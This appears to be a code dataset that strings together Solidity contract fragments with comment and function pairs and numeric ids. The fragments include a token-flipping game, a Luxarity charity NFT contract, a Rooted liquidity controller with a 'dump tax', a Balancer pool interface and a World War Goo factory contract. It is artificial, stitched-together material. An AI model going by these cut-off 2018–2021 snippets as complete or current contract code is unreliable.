require(_addressNotNull(newOwner));
uint256 previousOwnerGets = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),previousOwnerPercent);
uint256 exchangeTokensAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),exchangeTokenPercent);
uint256 devFeeAmount = SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),devFeePercent);
currentPot = currentPot + SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),currentPotPercent);
nextPot = nextPot + SafeMath.mul(SafeMath.div(currentPrice,increaseRatePercent),nextPotPercent);
// ovebid should be discouraged but not punished at round end.
if (msg.value > currentPrice){
if (now < roundEndingTime){
nextPot = nextPot + (msg.value - currentPrice);
}else{
// hardly fair to punish round ender
msg.sender.transfer(msg.value - currentPrice);
}
}
currentDevFee = currentDevFee + devFeeAmount;
templeContract.purchaseFor.value(exchangeTokensAmount)(_referredBy, msg.sender);
// do the sale
_transfer(oldOwner, newOwner, _tokenId);
// set new price
tribalMasks[_tokenId].currentPrice = SafeMath.mul(SafeMath.div(currentPrice,100),increaseRatePercent);
// extend the time
roundEndingTime = roundEndingTime + tribalMasks[_tokenId].timePowerMinutes;
lastFlip = _tokenId;
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
if (oldOwner.send(previousOwnerGets)){}
}
emit onTokenSold(_tokenId, currentPrice, oldOwner, newOwner, tribalMasks[_tokenId].name);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
if(isRoundEnd()){
return tribalMasks[_tokenId].basePrice;
}
return tribalMasks[_tokenId].currentPrice;
}
/*** PRIVATE FUNCTIONS ***/
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == tokenIndexToOwner[_tokenId];
}
/// @dev Assigns ownership of a specific token to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// no transfer to contract
uint length;
assembly { length := extcodesize(_to) }
require (length == 0);
ownershipTokenCount[_to]++;
//transfer ownership
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
}
/// @dev Not a charity
function collectDevFees() public onlyOwner {
if (currentDevFee < address(this).balance){
uint256 amount = currentDevFee;
currentDevFee = 0;
contractOwner.transfer(amount);
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
allow donations to the pots for seeding etc.
|
function () public payable {
currentPot = currentPot + SafeMath.div(msg.value,2);
nextPot = nextPot + SafeMath.div(msg.value,2);
}
| 2,479,624
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pragma solidity ^0.4.24;
import '../openzeppelin-solidity-master/contracts/token/ERC721/ERC721Full.sol';
import "../openzeppelin-solidity-master/contracts/ownership/Ownable.sol";
contract LuxOrders is ERC721Full, Ownable {
//state variables
//tokenid index
uint256 public orderIndex;
//total raised in sales uint256 USD
uint256 public totalRaised;
//total verifiably donated to charities
uint256 public totalDonated;
//total amount chosen to be donated
uint256 public totalChosenDonatedAmount;
//total number of chosen donations
uint256 public totalChosenDonations;
//total number of made donations
uint256 public totalMadeDonations;
//token mapping
mapping (uint256 => OrderToken) public orderTokens;
//token struct for order -> which represents a sale
struct OrderToken {
uint256 saleAmount;
uint256 orderNumber;
string tokenURI;
address generation;
address owner;
bool redeemed;
bytes32 buyerHash;
bytes32 redemptionHash;
bool exists; //always true
}
//charities mapping to track the total amount chosen to be donated
//to each charity, id is SHA256(full name of charity)
mapping (bytes32 => Charity) public charities;
struct Charity {
string charityName;
uint256 amountChosenToDonate;
uint256 amountDonated;
bool exists; //always true
}
//choseDonations -> index is orderNumber
//this is here so double allocations from one order cannot be made
mapping (uint256 => ChoseDonation) public choseDonations;
struct ChoseDonation {
string charityName;
uint256 amountAllocated;
bytes32 buyerHash;
bool exists;
}
//MadeDonations is a list of donations actually made
//id is hash of donation IPFS url, indexed by proofHash
mapping (bytes32 => MadeDonation) public madeDonations;
struct MadeDonation {
string charityName; //name of charity luxarity sent proceeds to
string donationProofUrl;
uint256 amountDonated; //amount donated via grant to charity
address donorAddress; //address of owner of contract (luxarity)
}
//buyers mapping with buyer struct bytes32 => buyer
mapping (bytes32 => Buyer) public buyers;
struct Buyer {
uint256 totalContributed; //total amount the buyer has bought in USD
uint256 totalDonationsAllocated; //amount of donation capital allocated
bool exists; //always true
}
//constructor for NFT token, name = Luxarity, symbol = LUX
constructor() ERC721Full('Luxarity Order Token', 'LUX0') public {
//tokenid index
orderIndex = 0;
//total capital raised uint256 USD
totalRaised = 0;
//total donated by luxarity (USD)
totalDonated = 0;
//total number of chosen donations
totalChosenDonations = 0;
//total number of made donations
totalMadeDonations = 0;
//total amount chosen to be donated
totalChosenDonatedAmount = 0;
}
//events
event SoldAndMintedToken (uint256 _tokenId, bytes32 _buyerID, uint256 _saleAmount, string _tokenURI, address _tokenMinter, uint256 _orderNumber);
//event when donation is chosen (bytes32, amount, charityName, donation id)
event DonationChosen (string _charityName, bytes32 _buyerId, uint256 _amountToBeDonated, uint256 _orderNumber, uint256 _totalAmountAllocated, uint256 _orderSaleAmount);
//event when donation is made by luxarity
event DonationMadeToCharity (bytes32 _donationHash, uint256 _amountDonated, string _charityName, string _donationURL);
//event when token is redeemed
event RedeemedToken (uint256 _tokenId, bytes32 _buyerId, address _buyerAddress);
//cuase functions
//mint function - when Orders are sold in an order - the receipt should be tokenized
function soldOrderToMint(string _tokenURI, uint256 _saleAmount, string _buyerID, string _redemptionHash, uint256 _orderNumber) public onlyOwner returns (uint) {
//1.0 Ensure token doesn't already exists
uint256 testIndex = orderIndex + 1;
require(_exists(testIndex) == false);
require(_saleAmount != 0);
//create buyerhash and redemption hash
bytes32 buyerID = keccak256(abi.encodePacked(_buyerID));
bytes32 redemptionHash = keccak256(abi.encodePacked(_redemptionHash));
//2.0 check if buyer already exists
if (!buyers[buyerID].exists) {
//adding new buyer to buyers mapping
buyers[buyerID] = Buyer(_saleAmount, 0, true);
} else {
//update existing buyer
buyers[buyerID].totalContributed += _saleAmount;
}
//increment total donations
totalRaised += _saleAmount;
//increment orderIndex
orderIndex += 1;
//create new sale
orderTokens[orderIndex] = OrderToken(_saleAmount, _orderNumber, _tokenURI, msg.sender, msg.sender, false, buyerID, redemptionHash, true);
//mint token
_mint(msg.sender, orderIndex);
//set metadata
_setTokenURI(orderIndex, _tokenURI);
//emit event
emit SoldAndMintedToken(orderIndex, buyerID, _saleAmount, _tokenURI, msg.sender, _orderNumber);
//return
return orderIndex;
}
//chooseDonation function
function chooseDonation(string _buyerID, string _charityName, uint256 _chosenDonateAmount, uint256 _orderNumber, uint256 _tokenId) public returns (bool) {
//check if buyer exists
bytes32 buyerID = keccak256(abi.encodePacked(_buyerID));
require(buyers[buyerID].exists == true);
//check if amount to donate is less than or equal to the amount left for buyer
uint256 leftover = buyers[buyerID].totalContributed - buyers[buyerID].totalDonationsAllocated;
require(leftover >= _chosenDonateAmount);
// amount needs to be equal to or less than its corresponding order total amount
require(orderTokens[_tokenId].saleAmount >= _chosenDonateAmount);
//check if donation has been made before and the total is reached
if (choseDonations[_orderNumber].exists) {
//only person that can allocate is the person who made the order
require(choseDonations[_orderNumber].buyerHash == buyerID);
//determine what the new chosen donation amount will be
uint256 newTotal = _chosenDonateAmount + choseDonations[_orderNumber].amountAllocated;
//enforce that that amount is less than the sale amount
require(newTotal <= orderTokens[_tokenId].saleAmount);
//increment total allocated chosen donations for that order
choseDonations[_orderNumber].amountAllocated += _chosenDonateAmount;
} else {
//add to chosenDonations mapping
choseDonations[_orderNumber] = ChoseDonation(_charityName, _chosenDonateAmount, buyerID, true);
}
//incement totalChosenDonatedAmount
totalChosenDonatedAmount += _chosenDonateAmount;
//increment total number of donations chosen to be made
totalChosenDonations += 1;
//update buyers donation allocation
buyers[buyerID].totalDonationsAllocated += _chosenDonateAmount;
//check if charity is new
bytes32 charityHash = keccak256(abi.encodePacked(_charityName));
//if it is, add to charity mapping
if (charities[charityHash].exists) {
charities[charityHash].amountChosenToDonate += _chosenDonateAmount;
} else {
//if not, update charity struct
charities[charityHash] = Charity(_charityName, _chosenDonateAmount, 0, true);
}
//emit event ChosenToDonate
emit DonationChosen(_charityName, buyerID, _chosenDonateAmount, _orderNumber, choseDonations[_orderNumber].amountAllocated, orderTokens[_tokenId].saleAmount);
//return true
return true;
}
//make donation function
function makeDonation(string _proofHash, string _proofURL, uint256 _madeDonationAmount, string _charityName) public onlyOwner returns (bool) {
uint256 leftover = totalRaised - totalDonated;
require(leftover >= _madeDonationAmount);
//create proper hash (sha256 of data proof of donation)
bytes32 proofHash = keccak256(abi.encodePacked(_proofHash));
//check if donation doesn't exist yet
require(madeDonations[proofHash].donorAddress == address(0));
//increment total made donations
totalMadeDonations += 1;
//total donated sum amount increased
totalDonated += _madeDonationAmount;
//add to made donations mapping
madeDonations[proofHash] = MadeDonation(_charityName, _proofURL, _madeDonationAmount, msg.sender);
//emit event
emit DonationMadeToCharity(proofHash, _madeDonationAmount, _charityName, _proofURL);
//return
return true;
}
//redeem token
function redeemOrder(string _buyerID, string _redemptionHash, address _buyerAddress, uint256 _tokenId) public returns (bool) {
//create buyerhash
bytes32 buyerID = keccak256(abi.encodePacked(_buyerID));
require(buyers[buyerID].exists == true);
//create redemption hash
bytes32 redemptionHash = keccak256(abi.encodePacked(_redemptionHash));
//make sure address is valid
require(orderTokens[_tokenId].exists == true);
require(_buyerAddress != address(0));
require(orderTokens[_tokenId].buyerHash == buyerID);
require(orderTokens[_tokenId].redemptionHash == redemptionHash);
orderTokens[_tokenId].owner = _buyerAddress;
orderTokens[_tokenId].redeemed = true;
//conduct transfer from Luxarity to address
transferFrom(msg.sender, _buyerAddress, _tokenId);
//emit event
emit RedeemedToken(_tokenId, buyerID, _buyerAddress);
return true;
}
//safe redeem token
function safeRedeemOrder(string _buyerID, string _redemptionHash, address _buyerAddress, uint256 _tokenId) public returns (bool) {
//create buyerhash
bytes32 buyerID = keccak256(abi.encodePacked(_buyerID));
require(buyers[buyerID].exists == true);
//create redemption hash
bytes32 redemptionHash = keccak256(abi.encodePacked(_redemptionHash));
//make sure address is valid
require(orderTokens[_tokenId].exists == true);
require(_buyerAddress != address(0));
require(orderTokens[_tokenId].buyerHash == buyerID);
require(orderTokens[_tokenId].redemptionHash == redemptionHash);
orderTokens[_tokenId].owner = _buyerAddress;
orderTokens[_tokenId].redeemed = true;
//conduct transfer from Luxarity to address
safeTransferFrom(msg.sender, _buyerAddress, _tokenId);
//emit event
emit RedeemedToken(_tokenId, buyerID, _buyerAddress);
return true;
}
//call functions
//get how much a buyer has donated in total
function getBuyerAmount(string _buyerID) public view returns (uint256 total) {
//create buyerhash
bytes32 buyerID = keccak256(abi.encodePacked(_buyerID));
if (buyers[buyerID].exists) {
return buyers[buyerID].totalContributed;
}
return 0;
}
//get boolean to see if NFT has been redeemed or not
function getRedemption(uint256 _tokenId) public view returns (bool) {
require(orderTokens[_tokenId].exists == true);
return orderTokens[_tokenId].redeemed;
}
//get token ownerOf
function getTokenOwner(uint256 _tokenId) public view returns (address) {
require(orderTokens[_tokenId].exists == true);
return ownerOf(_tokenId);
}
//get token sale amount
function getTokenSaleAmount(uint256 _tokenId) public view returns (uint256) {
require(orderTokens[_tokenId].exists == true);
return orderTokens[_tokenId].saleAmount;
}
//get token uri
function getTokenURI(uint256 _tokenId) public view returns (string) {
require(orderTokens[_tokenId].exists == true);
return orderTokens[_tokenId].tokenURI;
}
//get token buyer hash
function getTokenBuyer(uint256 _tokenId) public view returns (bytes32) {
require(orderTokens[_tokenId].exists == true);
return orderTokens[_tokenId].buyerHash;
}
//get token redemption hash
function getTokenRedemptionHash(uint256 _tokenId) public view returns (bytes32) {
require(orderTokens[_tokenId].exists == true);
return orderTokens[_tokenId].redemptionHash;
}
//get charity name
function getCharityName(string _charityName) public view returns (string) {
bytes32 charityHash = keccak256(abi.encodePacked(_charityName));
require(charities[charityHash].exists == true);
return charities[charityHash].charityName;
}
//get charity amount chosen to donate
function getCharityAmountChosen(string _charityName) public view returns (uint256) {
bytes32 charityHash = keccak256(abi.encodePacked(_charityName));
require(charities[charityHash].exists == true);
return charities[charityHash].amountChosenToDonate;
}
//get charity amount actually donated
function getCharityAmountDonated(string _charityName) public view returns (uint256) {
bytes32 charityHash = keccak256(abi.encodePacked(_charityName));
require(charities[charityHash].exists == true);
return charities[charityHash].amountDonated;
}
//get made donation charity name
function getMadeDonationCharityName(string _proofHash) public view returns (string) {
//create proper hash (sha256 of data proof of donation)
bytes32 proofHash = keccak256(abi.encodePacked(_proofHash));
require(madeDonations[proofHash].donorAddress != address(0));
return madeDonations[proofHash].charityName;
}
//get made donation proof url
function getMadeDonationProofUrl(string _proofHash) public view returns (string) {
//create proper hash (sha256 of data proof of donation)
bytes32 proofHash = keccak256(abi.encodePacked(_proofHash));
require(madeDonations[proofHash].donorAddress != address(0));
return madeDonations[proofHash].donationProofUrl;
}
//get made donation amount donated
function getMadeDonationAmountDonated(string _proofHash) public view returns (uint256) {
//create proper hash (sha256 of data proof of donation)
bytes32 proofHash = keccak256(abi.encodePacked(_proofHash));
require(madeDonations[proofHash].donorAddress != address(0));
return madeDonations[proofHash].amountDonated;
}
//get made donation donor address
function getMadeDonationAddress(string _proofHash) public view returns (address) {
//create proper hash (sha256 of data proof of donation)
bytes32 proofHash = keccak256(abi.encodePacked(_proofHash));
require(madeDonations[proofHash].donorAddress != address(0));
return madeDonations[proofHash].donorAddress;
}
//get buyer totalContributed
function getBuyerContributed(string _buyerHash) public view returns (uint256) {
//create proper hash (sha256 of data proof of donation)
bytes32 buyerHash = keccak256(abi.encodePacked(_buyerHash));
require(buyers[buyerHash].exists == true);
return buyers[buyerHash].totalContributed;
}
//get buyer totalDonationsAllocated
function getBuyerAllocated(string _buyerHash) public view returns (uint256) {
//create proper hash (sha256 of data proof of donation)
bytes32 buyerHash = keccak256(abi.encodePacked(_buyerHash));
require(buyers[buyerHash].exists == true);
return buyers[buyerHash].totalDonationsAllocated;
}
//transfer ownership of contract
function transferContract(address newOwner) public onlyOwner {
transferOwnership(newOwner);
}
//fallback
function() payable public { }
}
|
event when token is redeemed
|
event RedeemedToken (uint256 _tokenId, bytes32 _buyerId, address _buyerAddress);
| 2,548,021
|
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// SPDX-License-Identifier: U-U-U-UPPPPP!!!
pragma solidity ^0.7.4;
import "./TokensRecoverable.sol";
import "./IERC31337.sol";
import "./IUniswapV2Router02.sol";
import "./IERC20.sol";
import "./RootedTransferGate.sol";
import "./IUniswapV2Factory.sol";
import "./SafeMath.sol";
import "./SafeERC20.sol";
import "./ILiquidityController.sol";
import "./IFloorCalculator.sol";
contract LiquidityController is TokensRecoverable, ILiquidityController
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
IUniswapV2Router02 immutable uniswapV2Router;
IUniswapV2Factory immutable uniswapV2Factory;
IERC20 immutable rooted;
IERC20 immutable base;
IERC20 immutable fiat;
IERC31337 immutable elite;
IERC20 immutable rootedEliteLP;
IERC20 immutable rootedBaseLP;
IERC20 immutable rootedFiatLP;
IFloorCalculator public calculator;
RootedTransferGate public gate;
mapping(address => bool) public liquidityControllers;
constructor(IUniswapV2Router02 _uniswapV2Router, IERC20 _base, IERC20 _rooted, IERC31337 _elite, IERC20 _fiat, IFloorCalculator _calculator, RootedTransferGate _gate)
{
uniswapV2Router = _uniswapV2Router;
base = _base;
elite = _elite;
rooted = _rooted;
fiat = _fiat;
calculator = _calculator;
gate = _gate;
IUniswapV2Factory _uniswapV2Factory = IUniswapV2Factory(_uniswapV2Router.factory());
uniswapV2Factory = _uniswapV2Factory;
_base.safeApprove(address(_uniswapV2Router), uint256(-1));
_base.safeApprove(address(_elite), uint256(-1));
_rooted.approve(address(_uniswapV2Router), uint256(-1));
IERC20 _rootedBaseLP = IERC20(_uniswapV2Factory.getPair(address(_base), address(_rooted)));
_rootedBaseLP.approve(address(_uniswapV2Router), uint256(-1));
rootedBaseLP = _rootedBaseLP;
_elite.approve(address(_uniswapV2Router), uint256(-1));
IERC20 _rootedEliteLP = IERC20(_uniswapV2Factory.getPair(address(_elite), address(_rooted)));
_rootedEliteLP.approve(address(_uniswapV2Router), uint256(-1));
rootedEliteLP = _rootedEliteLP;
_fiat.approve(address(_uniswapV2Router), uint256(-1));
IERC20 _rootedFiatLP = IERC20(_uniswapV2Factory.getPair(address(_fiat), address(_rooted)));
_rootedFiatLP.approve(address(_uniswapV2Router), uint256(-1));
rootedFiatLP = _rootedFiatLP;
}
modifier liquidityControllerOnly()
{
require(liquidityControllers[msg.sender], "Not a Liquidity Controller");
_;
}
// Owner function to enable other contracts or addresses to use the Liquidity Controller
function setLiquidityController(address controlAddress, bool controller) public ownerOnly()
{
liquidityControllers[controlAddress] = controller;
}
function setCalculatorAndGate(IFloorCalculator _calculator, RootedTransferGate _gate) public ownerOnly()
{
calculator = _calculator;
gate = _gate;
}
// Use Base tokens held by this contract to buy from the Base Pool and sell in the Elite Pool
function balancePriceBase(uint256 amount) public override liquidityControllerOnly()
{
amount = buyRootedToken(address(base), amount);
amount = sellRootedToken(address(elite), amount);
elite.withdrawTokens(amount);
}
// Use Base tokens held by this contract to buy from the Elite Pool and sell in the Base Pool
function balancePriceElite(uint256 amount) public override liquidityControllerOnly()
{
elite.depositTokens(amount);
amount = buyRootedToken(address(elite), amount);
amount = sellRootedToken(address(base), amount);
}
// Removes liquidity, buys from either pool, sets a temporary dump tax
function removeBuyAndTax(uint256 amount, address token, uint16 tax, uint256 time) public override liquidityControllerOnly()
{
gate.setUnrestricted(true);
amount = removeLiq(token, amount);
buyRootedToken(token, amount);
gate.setDumpTax(tax, time);
gate.setUnrestricted(false);
}
// Uses value in the controller to buy
function buyAndTax(address token, uint256 amountToSpend, uint16 tax, uint256 time) public override liquidityControllerOnly()
{
buyRootedToken(token, amountToSpend);
gate.setDumpTax(tax, time);
}
// Sweeps the Base token under the floor to this address
function sweepFloor() public override liquidityControllerOnly()
{
elite.sweepFloor(address(this));
}
// Move liquidity from Elite pool --->> Base pool
function zapEliteToBase(uint256 liquidity) public override liquidityControllerOnly()
{
gate.setUnrestricted(true);
liquidity = removeLiq(address(elite), liquidity);
elite.withdrawTokens(liquidity);
addLiq(address(base), liquidity);
gate.setUnrestricted(false);
}
// Move liquidity from Base pool --->> Elite pool
function zapBaseToElite(uint256 liquidity) public override liquidityControllerOnly()
{
gate.setUnrestricted(true);
liquidity = removeLiq(address(base), liquidity);
elite.depositTokens(liquidity);
addLiq(address(elite), liquidity);
gate.setUnrestricted(false);
}
function wrapToElite(uint256 baseAmount) public override liquidityControllerOnly()
{
elite.depositTokens(baseAmount);
}
function unwrapElite(uint256 eliteAmount) public override liquidityControllerOnly()
{
elite.withdrawTokens(eliteAmount);
}
function addLiquidity(address eliteOrBase, uint256 baseAmount) public override liquidityControllerOnly()
{
gate.setUnrestricted(true);
addLiq(eliteOrBase, baseAmount);
gate.setUnrestricted(false);
}
function removeLiquidity(address eliteOrBase, uint256 tokens) public override liquidityControllerOnly()
{
gate.setUnrestricted(true);
removeLiq(eliteOrBase, tokens);
gate.setUnrestricted(false);
}
function buyRooted(address token, uint256 amountToSpend) public override liquidityControllerOnly()
{
buyRootedToken(token, amountToSpend);
}
function sellRooted(address token, uint256 amountToSpend) public override liquidityControllerOnly()
{
sellRootedToken(token, amountToSpend);
}
function addLiq(address eliteOrBase, uint256 baseAmount) internal
{
uniswapV2Router.addLiquidity(address(eliteOrBase), address(rooted), baseAmount, rooted.balanceOf(address(this)), 0, 0, address(this), block.timestamp);
}
function removeLiq(address eliteOrBase, uint256 tokens) internal returns (uint256)
{
(tokens, ) = uniswapV2Router.removeLiquidity(address(eliteOrBase), address(rooted), tokens, 0, 0, address(this), block.timestamp);
return tokens;
}
function buyRootedToken(address token, uint256 amountToSpend) internal returns (uint256)
{
uint256[] memory amounts = uniswapV2Router.swapExactTokensForTokens(amountToSpend, 0, buyPath(token), address(this), block.timestamp);
amountToSpend = amounts[1];
return amountToSpend;
}
function sellRootedToken(address token, uint256 amountToSpend) internal returns (uint256)
{
uint256[] memory amounts = uniswapV2Router.swapExactTokensForTokens(amountToSpend, 0, sellPath(token), address(this), block.timestamp);
amountToSpend = amounts[1];
return amountToSpend;
}
function buyPath(address token) internal view returns (address[] memory)
{
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(rooted);
return path;
}
function sellPath(address token) internal view returns (address[] memory)
{
address[] memory path = new address[](2);
path[0] = address(rooted);
path[1] = address(token);
return path;
}
}
|
Removes liquidity, buys from either pool, sets a temporary dump tax
|
function removeBuyAndTax(uint256 amount, address token, uint16 tax, uint256 time) public override liquidityControllerOnly()
{
gate.setUnrestricted(true);
amount = removeLiq(token, amount);
buyRootedToken(token, amount);
gate.setDumpTax(tax, time);
gate.setUnrestricted(false);
}
| 14,338,771
|
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./full_match/1/0x9be5Db4fA390cf2DaF373b67b11A1331a19cD05e/sources/browser/ivory.sol
| ERROR: type should be string, got " https:docs.balancer.finance/smart-contracts/interfaces"
|
interface BPool {
function isPublicSwap() external view returns (bool);
function isFinalized() external view returns (bool);
function isBound(address t) external view returns (bool);
function getNumTokens() external view returns (uint);
function getCurrentTokens() external view returns (address[] memory tokens);
function getFinalTokens() external view returns (address[] memory tokens);
function getDenormalizedWeight(address token) external view returns (uint);
function getTotalDenormalizedWeight() external view returns (uint);
function getNormalizedWeight(address token) external view returns (uint);
function getBalance(address token) external view returns (uint);
function getSwapFee() external view returns (uint);
function getController() external view returns (address);
function setSwapFee(uint swapFee) external;
function setController(address manager) external;
function setPublicSwap(bool public_) external;
function finalize() external;
function bind(address token, uint balance, uint denorm) external;
function rebind(address token, uint balance, uint denorm) external;
function unbind(address token) external;
function gulp(address token) external;
function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint spotPrice);
function getSpotPriceSansFee(address tokenIn, address tokenOut) external view returns (uint spotPrice);
function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external;
function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external;
function swapExactAmountIn(
address tokenIn,
uint tokenAmountIn,
address tokenOut,
uint minAmountOut,
uint maxPrice
) external returns (uint tokenAmountOut, uint spotPriceAfter);
function swapExactAmountOut(
address tokenIn,
uint maxAmountIn,
address tokenOut,
uint tokenAmountOut,
uint maxPrice
) external returns (uint tokenAmountIn, uint spotPriceAfter);
function joinswapExternAmountIn(
address tokenIn,
uint tokenAmountIn,
uint minPoolAmountOut
) external returns (uint poolAmountOut);
function joinswapPoolAmountOut(
address tokenIn,
uint poolAmountOut,
uint maxAmountIn
) external returns (uint tokenAmountIn);
function exitswapPoolAmountIn(
address tokenOut,
uint poolAmountIn,
uint minAmountOut
) external returns (uint tokenAmountOut);
function exitswapExternAmountOut(
address tokenOut,
uint tokenAmountOut,
uint maxPoolAmountIn
) external returns (uint poolAmountIn);
function totalSupply() external view returns (uint);
function balanceOf(address whom) external view returns (uint);
function allowance(address src, address dst) external view returns (uint);
function approve(address dst, uint amt) external returns (bool);
function transfer(address dst, uint amt) external returns (bool);
function transferFrom(
address src, address dst, uint amt
) external returns (bool);
function calcSpotPrice(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint swapFee
) external pure returns (uint spotPrice);
function calcOutGivenIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountIn,
uint swapFee
) external pure returns (uint tokenAmountOut);
function calcInGivenOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountOut,
uint swapFee
) external pure returns (uint tokenAmountIn);
function calcPoolOutGivenSingleIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint tokenAmountIn,
uint swapFee
) external pure returns (uint poolAmountOut);
function calcSingleInGivenPoolOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint poolAmountOut,
uint swapFee
) external pure returns (uint tokenAmountIn);
function calcSingleOutGivenPoolIn(
uint tokenBalanceOut,
uint tokenWeightOut,
uint poolSupply,
uint totalWeight,
uint poolAmountIn,
uint swapFee
) external pure returns (uint tokenAmountOut);
function calcPoolInGivenSingleOut(
uint tokenBalanceOut,
uint tokenWeightOut,
uint poolSupply,
uint totalWeight,
uint tokenAmountOut,
uint swapFee
) external pure returns (uint poolAmountIn);
}
| 8,288,560
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2
] |
./full_match/43114/0xab2722118FE0197b9E34889540d3922F2d2735dE/sources/JoeTest.sol
|
calculates the CREATE2 address for a pair without making any external calls
|
function pairFor(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(
bytes20(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
hex"0bbca9af0511ad1a1da383135cf3a8d2ac620e549ef9f6ae3a4c33c2fed0af91"
)
)
)
);
}
| 4,621,674
|
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pragma solidity ^0.4.25;
/**
*
* World War Goo - Competitive Idle Game
*
* https://ethergoo.io
*
*/
contract PremiumFactories {
Bankroll constant bankroll = Bankroll(0x66a9f1e53173de33bec727ef76afa84956ae1b25);
address owner;
constructor() public {
owner = msg.sender;
}
mapping(uint256 => PremiumUnit) premiumUnits; // Contracts for each premium unit (unitId)
mapping(uint256 => PremiumFactory) premiumFactories; // Factory Id
uint256 minPrice = 0.5 ether;
uint256 dailyDegradation = 10; // 1% a day
uint256 maxGasPrice = 20000000000; // 20 Gwei
uint256 constant LAUNCH_TIME = 1558814400;
struct PremiumFactory {
address owner;
uint256 unitId;
uint256 price;
uint256 lastFlipTime; // Last time factory was purchased
uint256 lastClaimTimestamp; // Last time factory produced units
}
function purchaseFactory(uint256 factoryId) external payable {
require(msg.sender == tx.origin);
require(tx.gasprice <= maxGasPrice);
require(now >= LAUNCH_TIME);
PremiumFactory memory factory = premiumFactories[factoryId];
require(msg.sender != factory.owner && factory.owner > 0);
uint256 currentFactoryPrice = getFactoryPrice(factory);
require(msg.value >= currentFactoryPrice);
PremiumUnit premiumUnit = premiumUnits[factory.unitId];
uint256 unitsProduced = (now - factory.lastClaimTimestamp) / premiumUnit.unitProductionSeconds();
if (unitsProduced == 0) {
unitsProduced++; // Round up (so every owner gets at least 1 unit)
}
premiumUnit.mintUnit(factory.owner, unitsProduced);
// Send profit to previous owner (and bankroll)
uint256 previousOwnerProfit = currentFactoryPrice * 94 / 100; // 94% of 120% (so ~13% profit)
factory.owner.transfer(previousOwnerProfit);
bankroll.depositEth.value(currentFactoryPrice - previousOwnerProfit)(50, 50); // Remaining 7% cut
// Update factory
factory.price = currentFactoryPrice * 120 / 100;
factory.owner = msg.sender;
factory.lastFlipTime = now;
factory.lastClaimTimestamp = now;
premiumFactories[factoryId] = factory;
// Return overpayments
if (msg.value > currentFactoryPrice) {
msg.sender.transfer(msg.value - currentFactoryPrice);
}
}
function getFactoryPrice(PremiumFactory factory) internal view returns (uint256 factoryPrice) {
uint256 secondsSinceLastFlip = 0;
if (now > factory.lastFlipTime) { // Edge case for initial listing
secondsSinceLastFlip = now - factory.lastFlipTime;
}
uint256 priceReduction = (secondsSinceLastFlip * dailyDegradation * factory.price) / 86400000;
factoryPrice = factory.price;
if (priceReduction > factoryPrice || factoryPrice - priceReduction < minPrice) {
factoryPrice = minPrice;
} else {
factoryPrice -= priceReduction;
}
}
function getFactories(uint256 endId) external view returns (uint256[] factoryIds, address[] owners, uint256[] unitIds, uint256[] prices, uint256[] lastClaimTime) {
factoryIds = new uint256[](endId);
owners = new address[](endId);
unitIds = new uint256[](endId);
prices = new uint256[](endId);
lastClaimTime = new uint256[](endId);
for (uint256 i = 0; i < endId; i++) {
PremiumFactory memory factory = premiumFactories[i+1]; // Id starts at 1
factoryIds[i] = i+1;
owners[i] = factory.owner;
unitIds[i] = factory.unitId;
prices[i] = getFactoryPrice(factory);
lastClaimTime[i] = factory.lastClaimTimestamp;
}
}
// Just incase needs tweaking for longevity
function updateFactoryConfig(uint256 newMinPrice, uint256 newDailyDegradation, uint256 newMaxGasPrice) external {
require(msg.sender == owner);
minPrice = newMinPrice;
dailyDegradation = newDailyDegradation;
maxGasPrice = newMaxGasPrice;
}
function addPremiumUnit(address premiumUnitContract) external {
require(msg.sender == owner);
PremiumUnit unit = PremiumUnit(premiumUnitContract);
premiumUnits[unit.unitId()] = unit;
}
function addFactory(uint256 id, uint256 unitId, address player, uint256 startPrice) external {
require(msg.sender == owner);
require(premiumFactories[id].owner == 0);
require(premiumUnits[unitId].unitId() == unitId);
PremiumFactory memory newFactory;
newFactory.owner = player;
newFactory.unitId = unitId;
newFactory.price = startPrice;
newFactory.lastClaimTimestamp = now;
newFactory.lastFlipTime = LAUNCH_TIME;
premiumFactories[id] = newFactory;
}
